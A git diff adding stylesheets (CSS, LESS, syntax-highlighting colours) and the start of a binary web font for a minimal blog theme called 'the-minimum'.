h1, +.ie .unit-article .unit-head-inner h2, +.ie .unit-article .entry-content h2, +.ie .unit-article .misc-content h2, +.ie .unit-article .unit-head-inner h3, +.ie .unit-article .entry-content h3, +.ie .unit-article .misc-content h3, +.ie .unit-article .unit-head-inner h4, +.ie .unit-article .entry-content h4, +.ie .unit-article .misc-content h4, +.ie .unit-article .unit-head-inner h5, +.ie .unit-article .entry-content h5, +.ie .unit-article .misc-content h5, +.ie .unit-article .unit-head-inner p, +.ie .unit-article .entry-content p, +.ie .unit-article .misc-content p, +.ie .unit-article .unit-head-inner ul, +.ie .unit-article .entry-content ul, +.ie .unit-article .misc-content ul, +.ie .unit-article .unit-head-inner ol, +.ie .unit-article .entry-content ol, +.ie .unit-article .misc-content ol, +.ie .unit-article .unit-head-inner dl, +.ie .unit-article .entry-content dl, +.ie .unit-article .misc-content dl, +.ie .unit-article .unit-head-inner blockquote, +.ie .unit-article .entry-content blockquote, +.ie .unit-article .misc-content blockquote { + margin-right: 210px; +} +.ie .unit-article .unit-head-inner .meta { + width: 20.625em; + float: right; +} +.ie .layout-page .unit-body .unit-body-inner { + width: 43.125em; + margin-left: auto; + margin-right: auto; +} +.ie .layout-page .unit-body .article-list { + width: 43.125em; +} +.ie .layout-page .unit-body .article-list .meta { + width: 20.625em; + float: right; +} +.ie .the-footer .unit-foot { + width: 60em; + margin-left: auto; + margin-right: auto; +} +/* + Smartphone +*/ +@media only screen and (min-width: 320px) and (max-width: 767px) { + img { + max-width: 100%; + } +} +/* + Wide Smartphone +*/ +@media only screen and (min-width: 480px) { + .the-header .unit-inner { + width: 26.25em; + } + .the-header .logo a { + font-size: 42px; + line-height: 52px; + letter-spacing: -1px; + } + .the-header .nav-global { + margin-top: 1.625em; + letter-spacing: -0.31em; + *letter-spacing: normal; + word-spacing: -0.43em; + list-style: none; + padding-left: 0; + } + .the-header .nav-global .home:after { + margin-left: 16px; + content: "/"; + } + .the-header .nav-global li { + display: inline-block; + *display: inline; + zoom: 1; + line-height: normal; + letter-spacing: normal; + margin-right: 16px; + word-spacing: normal; + vertical-align: middle; + } + .the-header .nav-global li:last-child { + margin-right: 0; + } + .unit-article .unit-head-inner, + .unit-article .entry-content, + .unit-article .misc-content, + .unit-article .unit-foot-inner { + width: 26.25em; + } + .unit-article .unit-foot .gotop { + margin-top: 1.625em; + } + .layout-page .unit-body .unit-body-inner { + width: 26.25em; + } + .layout-page .unit-body .article-list { + width: 26.25em; + } + .the-footer .unit-foot { + width: 26.25em; + } +} +/* + Tablet +*/ +@media only screen and (min-width: 768px) { + .the-header .unit-inner { + width: 43.125em; + } + .unit-article .unit-head-inner, + .unit-article .entry-content, + .unit-article .misc-content, + .unit-article .unit-foot-inner { + width: 43.125em; + } + .unit-article .unit-head-inner .meta { + margin-bottom: 0; + text-align: right; + width: 20.625em; + float: right; + } + .layout-page .unit-body .unit-body-inner { + width: 43.125em; + } + .layout-page .unit-body .article-list { + width: 43.125em; + } + .layout-page .unit-body .article-list .meta { + margin-bottom: 0; + text-align: right; + width: 20.625em; + float: right; + } + .the-footer .unit-foot { + width: 43.125em; + } +} +/* + Not that old computer layout +*/ +@media only screen and (min-width: 1280px) { + .the-header .unit-inner { + width: 60em; + } + .the-header .logo { + width: 26.25em; + float: left; + } + .the-header .nav-global { + margin-top: 21px; + text-align: right; + width: 26.25em; + float: right; + } + .unit-article .unit-head-inner, + .unit-article .entry-content, + .unit-article .misc-content, + .unit-article .unit-foot-inner { + width: 60em; + } + .unit-article .unit-head-inner h1, + .unit-article .entry-content h1, + .unit-article .misc-content h1, + .unit-article .unit-head-inner h2, + .unit-article .entry-content h2, + .unit-article .misc-content h2, + .unit-article .unit-head-inner h3, + .unit-article .entry-content h3, + .unit-article .misc-content h3, + .unit-article .unit-head-inner h4, + .unit-article .entry-content h4, + .unit-article .misc-content h4, + .unit-article .unit-head-inner h5, + .unit-article .entry-content h5, + .unit-article .misc-content h5, + .unit-article .unit-head-inner p, + .unit-article .entry-content p, + .unit-article .misc-content p, + .unit-article .unit-head-inner ul, + .unit-article .entry-content ul, + .unit-article .misc-content ul, + .unit-article .unit-head-inner ol, + .unit-article .entry-content ol, + .unit-article .misc-content ol, + .unit-article .unit-head-inner dl, + .unit-article .entry-content dl, + .unit-article .misc-content dl, + .unit-article .unit-head-inner blockquote, + .unit-article .entry-content blockquote, + .unit-article .misc-content blockquote { + margin-right: 270px; + } + .unit-article .unit-head-inner .meta { + margin-bottom: 0; + width: 20.625em; + } + .unit-article .unit-foot .pagination { + float: left; + width: 37.5em; + } + .unit-article .unit-foot .gotop { + float: right; + margin-top: 0; + text-align: right; + width: 20.625em; + } + .layout-page .unit-body .unit-body-inner { + width: 43.125em; + } + .layout-page .unit-body .article-list { + width: 43.125em; + } + .layout-page .unit-body .article-list .meta { + width: 20.625em; + } + .the-footer .unit-foot { + width: 60em; + } +} +/* + Huge-screen layout +*/ +@media only screen and (min-width: 1410px) { + .the-header .unit-inner { + width: 88.125em; + } + .the-header .logo { + width: 43.125em; + } + .the-header .nav-global { + width: 43.125em; + } + .unit-article .unit-head-inner, + .unit-article .entry-content, + .unit-article .misc-content, + .unit-article .unit-foot-inner { + width: 88.125em; + } + .unit-article .unit-head-inner h1, + .unit-article .entry-content h1, + .unit-article .misc-content h1, + .unit-article .unit-head-inner h2, + .unit-article .entry-content h2, + .unit-article .misc-content h2, + .unit-article .unit-head-inner h3, + .unit-article .entry-content h3, + .unit-article .misc-content h3, + .unit-article .unit-head-inner h4, + .unit-article .entry-content h4, + .unit-article .misc-content h4, + .unit-article .unit-head-inner h5, + .unit-article .entry-content h5, + .unit-article .misc-content h5, + .unit-article .unit-head-inner p, + .unit-article .entry-content p, + .unit-article .misc-content p, + .unit-article .unit-head-inner ul, + .unit-article .entry-content ul, + .unit-article .misc-content ul, + .unit-article .unit-head-inner ol, + .unit-article .entry-content ol, + .unit-article .misc-content ol, + .unit-article .unit-head-inner dl, + .unit-article .entry-content dl, + .unit-article .misc-content dl, + .unit-article .unit-head-inner blockquote, + .unit-article .entry-content blockquote, + .unit-article .misc-content blockquote { + margin-left: 360px; + margin-right: 360px; + } + .unit-article .unit-head-inner img.huge, .unit-article .entry-content img.huge, .unit-article .misc-content img.huge { + margin-left: -360px; + } + .unit-article .unit-head-inner .meta { + width: 20.625em; + } + .unit-article .unit-foot .pagination { + width: 54.375em; + } + .unit-article .unit-foot .gotop { + width: 31.875em; + } + .layout-page .unit-body .unit-body-inner { + width: 43.125em; + } + .layout-page .unit-body .article-list { + width: 43.125em; + } + .layout-page .unit-body .article-list .meta { + width: 20.625em; + } + .the-footer .unit-foot { + width: 88.125em; + } + .the-footer .unit-inner h1, + .the-footer .unit-inner h2, + .the-footer .unit-inner h3, + .the-footer .unit-inner h4, + .the-footer .unit-inner h5, + .the-footer .unit-inner p, + .the-footer .unit-inner ul, + .the-footer .unit-inner ol, + .the-footer .unit-inner dl, + .the-footer .unit-inner blockquote { + margin-left: 360px; + margin-right: 360px; + } +} diff --git a/assets/themes/the-minimum/css/style.less b/assets/themes/the-minimum/css/style.less new file mode 100644 index 0000000..9b9a3d7 --- /dev/null +++ b/assets/themes/the-minimum/css/style.less @@ -0,0 +1,228 @@ +@import "base.css"; +@import "module.css"; +@import "_less-base.less"; + +/* LESS VARIABLES +--------------------------------------------------------------------------------- */ +@main-bg: #ffffff; +@subtle-bg: @base01; +@main-font-color: @base03; +@accent-color: @green; + +/* GLOBAL +--------------------------------------------------------------------------------- */ +html { + background-color: @main-bg; + color: @main-font-color; +} + +/* LINK */ +a { + &:link { + color: @main-font-color; + text-decoration: none; + } + &:visited { + color: darken(@main-font-color, 10%); + text-decoration: none; + } + &:hover { + color: lighten(@main-font-color, 10%); + text-decoration: none; + } +} + +/* HIGHLIGHTER */ +pre { margin-bottom: @line-height / @em; } +pre { + color: #f2f2f2; + background-color: @base03; + border: 1px solid fadein(@base03, 30%); + font-family: "Bitstream Vera Sans Mono", "Courier New", Courier, monospace; + margin-left: 0; + margin-right: 0; + padding: @line-height / @em; + overflow: auto; +} + +/* meta */ +.meta {} + + +/* HEADER +--------------------------------------------------------------------------------- */ +.the-header { + .logo { + font-family: @webfont; + margin: 0; + a:visited { color: @main-font-color; } + } + .nav-global { + text-transform: uppercase; + .forkme { + position: relative; + top: 2px; + } + } +} // .the-header + +/* MAIN +--------------------------------------------------------------------------------- */ +.unit-article { + .unit-article-inner { + + header { + background: url('@{noise-100-90-5}'); + background-repeat: repeat; + background-position: 0 0; + background-color: #BADA55; + margin-bottom: @line-height / @em; + padding-top: (@line-height / @em); + padding-bottom: (@line-height / @em) ; + h1 { + color: @main-font-color; + margin-top: 0; + margin-bottom: 0; + } + } // .article-inner header + + .entry-content { + h2, h3, h4, h5, h6 { + color: @main-font-color; + a { + &:link { + color: @main-font-color; + border: 0; + } + &:visited { + color: darken(@main-font-color, 10%); + border: 0; + } + &:hover { + color: lighten(@main-font-color, 10%); + border: 0; + } + } + } + } // .article-inner .entry-content + + .entry-content:first-child h2, + .entry-content:first-child h3, + .entry-content:first-child h4, + .entry-content:first-child h5, + .entry-content:first-child h6 { margin-top: 0; } // Canceling header margin since there is margin on header + + a { + &:link { border-bottom: 1px dotted @accent-color; } + &:visited { border-bottom: 1px dotted darken(@accent-color, 10%); } + &:hover { border-bottom: 1px dotted lighten(@accent-color, 10%); } + } + + blockquote { + border-left: 1em solid rgba(21, 25, 25, 0.8); + padding-left: 1em; + p { + margin-left: 0; + margin-right: 0; + } + } + ul, ol, dl { padding-left: 0; } + ul { list-style: square; } + ol { list-style: decimal; } + li, dt, dd { + h1, h2, h3, h4, h5, p, ul, ol, dl, blockquote, .hasGrid { margin-left: 0; margin-right: 0; } + } + p code, li code { + margin: 0 2px; + padding: 2px 5px; + white-space: nowrap; + border: 1px solid #CCC; + background-color: #F8F8F8; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; + -moz-background-clip: padding; -webkit-background-clip: padding-box; background-clip: padding-box; + } + + img { + display: block; + margin-left: auto; + margin-left: auto; + } + img.left { margin-right: 16px; } + img.right { margin-left: 16px; } + img.huge { position: relative; } + + .date-publish { margin-bottom: 0; } + .list-linear .list-head { margin-right: 4px; } + .list-category { + margin-bottom: 0; + text-transform: capitalize; + + } + .list-tag { + text-transform: capitalize; + } + + .unit-foot { + background: #4d4d4d; + color: #fafafa; + a { + &:link { color: #fafafa; } + &:visited { color: #fafafa; } + &:hover { color: #ffffff; } + } + padding-top: @line-height / @em; + padding-bottom: @line-height / @em; + position: relative; + nav ul { + list-style: none; + li { display: inline; } + } + .gotop { margin-bottom: 0; } + } // .article-inner .unit-foot + + } // .article-inner +} // .the-article + +/* post & page */ +.page-post { + +} // .page-post + +/* FOOTER +----------------------------------------------- */ +.the-footer { + background-color: #1a1a1a; + background-color: rgba(21, 25, 25, 0.8); + color: #fafafa; + color: rgba(250, 250, 250, 0.8); + padding-bottom: @line-height / @em; + a { + &:link { + color: @accent-color; + border: 0; + } + &:visited { + color: darken(@accent-color, 10%); + border: 0; + } + &:hover { + color: lighten(@accent-color, 10%); + border: 0; + } + } + ul { + list-style: square; + padding-left: 1em; + } + address { font-style: normal; } + .license { + clear: both; + p { margin-bottom: 0; } + } +} + +@import "_layout.less"; +@import "syntaxhighlighter.css"; +@import "helper.css"; diff --git a/assets/themes/the-minimum/css/syntaxhighlighter.css b/assets/themes/the-minimum/css/syntaxhighlighter.css new file mode 100644 index 0000000..dda10da --- /dev/null +++ b/assets/themes/the-minimum/css/syntaxhighlighter.css @@ -0,0 +1,68 @@ +pre .c { color: #999999; font-style: italic } /* Comment */ +pre .err { color: #a61717; background-color: #e3d2d2 } /* Error */ +pre .g { color: #d0d0d0 } /* Generic */ +pre .k { color: #6ab825; font-weight: bold } /* Keyword */ +pre .l { color: #d0d0d0 } /* Literal */ +pre .n { color: #d0d0d0 } /* Name */ +pre .o { color: #d0d0d0 } /* Operator */ +pre .x { color: #d0d0d0 } /* Other */ +pre .p { color: #d0d0d0 } /* Punctuation */ +pre .cm { color: #999999; font-style: italic } /* Comment.Multiline */ +pre .cp { color: #cd2828; font-weight: bold } /* Comment.Preproc */ +pre .c1 { color: #999999; font-style: italic } /* Comment.Single */ +pre .cs { color: #e50808; font-weight: bold; background-color: #520000 } /* Comment.Special */ +pre .gd { color: #d22323 } /* Generic.Deleted */ +pre .ge { color: #d0d0d0; font-style: italic } /* Generic.Emph */ +pre .gr { color: #d22323 } /* Generic.Error */ +pre .gh { color: #ffffff; font-weight: bold } /* Generic.Heading */ +pre .gi { color: #589819 } /* Generic.Inserted */ +pre .go { color: #cccccc } /* Generic.Output */ +pre .gp { color: #aaaaaa } /* Generic.Prompt */ +pre .gs { color: #d0d0d0; font-weight: bold } /* Generic.Strong */ +pre .gu { color: #ffffff; text-decoration: underline } /* Generic.Subheading */ +pre .gt { color: #d22323 } /* Generic.Traceback */ +pre .kc { color: #6ab825; font-weight: bold } /* Keyword.Constant */ +pre .kd { color: #6ab825; font-weight: bold } /* Keyword.Declaration */ +pre .kn { color: #6ab825; font-weight: bold } /* Keyword.Namespace */ +pre .kp { color: #6ab825 } /* Keyword.Pseudo */ +pre .kr { color: #6ab825; font-weight: bold } /* Keyword.Reserved */ +pre .kt { color: #6ab825; font-weight: bold } /* Keyword.Type */ +pre .ld { color: #d0d0d0 } /* Literal.Date */ +pre .m { color: #3677a9 } /* Literal.Number */ +pre .s { color: #ed9d13 } /* Literal.String */ +pre .na { color: #bbbbbb } /* Name.Attribute */ +pre .nb { color: #24909d } /* Name.Builtin */ +pre .nc { color: #447fcf; text-decoration: underline } /* Name.Class */ +pre .no { color: #40ffff } /* Name.Constant */ +pre .nd { color: #ffa500 } /* Name.Decorator */ +pre .ni { color: #d0d0d0 } /* Name.Entity */ +pre .ne { color: #bbbbbb } /* Name.Exception */ +pre .nf { color: #447fcf } /* Name.Function */ +pre .nl { color: #d0d0d0 } /* Name.Label */ +pre .nn { color: #447fcf; text-decoration: underline } /* Name.Namespace */ +pre .nx { color: #d0d0d0 } /* Name.Other */ +pre .py { color: #d0d0d0 } /* Name.Property */ +pre .nt { color: #6ab825; font-weight: bold } /* Name.Tag */ +pre .nv { color: #40ffff } /* Name.Variable */ +pre .ow { color: #6ab825; font-weight: bold } /* Operator.Word */ +pre .w { color: #666666 } /* Text.Whitespace */ +pre .mf { color: #3677a9 } /* Literal.Number.Float */ +pre .mh { color: #3677a9 } /* Literal.Number.Hex */ +pre .mi { color: #3677a9 } /* Literal.Number.Integer */ +pre .mo { color: #3677a9 } /* Literal.Number.Oct */ +pre .sb { color: #ed9d13 } /* Literal.String.Backtick */ +pre .sc { color: #ed9d13 } /* Literal.String.Char */ +pre .sd { color: #ed9d13 } /* Literal.String.Doc */ +pre .s2 { color: #ed9d13 } /* Literal.String.Double */ +pre .se { color: #ed9d13 } /* Literal.String.Escape */ +pre .sh { color: #ed9d13 } /* Literal.String.Heredoc */ +pre .si { color: #ed9d13 } /* Literal.String.Interpol */ +pre .sx { color: #ffa500 } /* Literal.String.Other */ +pre .sr { color: #ed9d13 } /* Literal.String.Regex */ +pre .s1 { color: #ed9d13 } /* Literal.String.Single */ +pre .ss { color: #ed9d13 } /* Literal.String.Symbol */ +pre .bp { color: #24909d } /* Name.Builtin.Pseudo */ +pre .vc { color: #40ffff } /* Name.Variable.Class */ +pre .vg { color: #40ffff } /* Name.Variable.Global */ +pre .vi { color: #40ffff } /* Name.Variable.Instance */ +pre .il { color: #3677a9 } /* Literal.Number.Integer.Long */ diff --git a/assets/themes/the-minimum/font/Junction-webfont.eot b/assets/themes/the-minimum/font/Junction-webfont.eot new file mode 100755 index 0000000000000000000000000000000000000000..ad8eb0cc3a8f35842d540657233fddcc5b29892a GIT binary patch literal 23668 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 